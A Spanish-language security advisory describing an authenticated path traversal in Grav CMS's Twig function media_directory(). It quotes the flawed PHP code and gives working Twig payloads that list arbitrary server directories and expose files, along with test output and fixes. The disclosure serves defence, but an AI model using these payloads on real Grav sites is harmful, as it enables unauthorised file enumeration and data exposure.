
Aviso técnico que detalla una vulnerabilidad de path traversal autenticada en la función `media_directory()` de Twig en Grav CMS, que permite la enumeración arbitraria de directorios y la divulgación de rutas del sistema de archivos.
media_directory()Nombre: CYBER-SEC
Contacto: [email protected]
La función Twig media_directory() de Grav está expuesta dentro de la lista blanca del sandbox de Twig del contenido de páginas, pero no aplica correctamente la contención de rutas para entradas que no son streams.
Un usuario autenticado con privilegios de edición de páginas puede llamar a media_directory('/ruta/absoluta') o usar traversal relativo como media_directory('../../../../ruta') dentro del contenido de páginas habilitado para Twig. Grav entonces indexa archivos de tipo media desde directorios legibles por el usuario del servidor web.
Los objetos Medium devueltos exponen propiedades permitidas por el sandbox como y , lo que resulta en enumeración arbitraria de directorios y divulgación de rutas absolutas del sistema de archivos. Para archivos de imagen/SVG, la generación de URL o caché puede exponer archivos a través del manejo público de caché de Grav.
filepathfilenameEsta es una vulnerabilidad autenticada de divulgación de información. No se conoce que permita explotación no autenticada o ejecución remota directa de código.
Producto: Grav CMS de archivos planos
Repositorio: https://github.com/getgrav/grav
Versiones afectadas verificadas: 2.0.3, 2.0.4, 2.0.6
Componente: Twig media_directory() / sandbox de Twig del contenido de páginas de Grav
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Puntuación Base: 6.5 Media
El punto vulnerable se encuentra en:
system/src/Grav/Common/Twig/Extension/GravExtension.php
Lógica relevante:
public function mediaDirFunc($media_dir)
{
$locator = $this->grav['locator'];
if ($locator->isStream($media_dir)) {
$media_dir = $locator->findResource($media_dir);
}
if ($media_dir && file_exists($media_dir)) {
return new Media($media_dir);
}
return null;
}
Solo las entradas stream:// se resuelven a través del localizador de Grav. Las rutas absolutas o relativas que no son streams se pasan textualmente a new Media($media_dir) sin validación canónica de realpath(), rechazo de traversal o contención a directorios aprobados controlados por Grav.
La función está expuesta a través de la lista blanca del sandbox de Twig del contenido de páginas:
system/config/security.yaml
allowed_functions:
- media_directory
El sandbox también permite métodos/propiedades de Medium como:
filepath
filename
url
cache
resize
Esto permite que un editor de páginas autenticado divulgue nombres de archivo y rutas absolutas de directorios legibles arbitrarios. Para archivos de imagen/SVG, la generación de URL/caché pública puede exponer el contenido del archivo.
Con el procesamiento de contenido Twig habilitado, cree o edite una página de Grav e inserte:
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
Forma de traversal:
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}
Ejemplo de exposición de imagen/SVG:
{{ media_directory('/ruta/absoluta/a/privado')['secret.svg'].url }}
Cuando la página se guarda y se renderiza, Grav indexa archivos desde la ruta controlada por el atacante y expone nombres de archivo y rutas absolutas del sistema de archivos.
Verificado contra Grav 2.0.6 usando la imagen Docker linuxserver/grav:latest.
Los resultados observados incluyeron:
LICENSE.txt => /app/www/public/LICENSE.txt
composer.json => /app/www/public/composer.json
robots.txt => /app/www/public/robots.txt
now.json => /app/www/public/now.json
El traversal relativo también fue confirmado:
../../../../app/www/public
La exposición de archivos SVG a través de .url también fue confirmada en un entorno de prueba local controlado.
Un editor de páginas autenticado puede:
Esta vulnerabilidad es de clase divulgación y no debe reportarse como ejecución remota de código.
Correcciones recomendadas:
media_directory de la lista blanca del sandbox de Twig del contenido de páginas.o:
media_directory():realpath().user://pages, user://images u otros directorios de medios explícitamente aprobados.Este problema fue reportado por CYBER-SEC.